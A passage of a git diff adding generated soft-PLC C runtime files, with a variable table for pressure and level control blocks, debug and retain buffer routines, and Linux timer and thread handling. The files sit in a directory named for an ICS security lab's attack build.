+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void 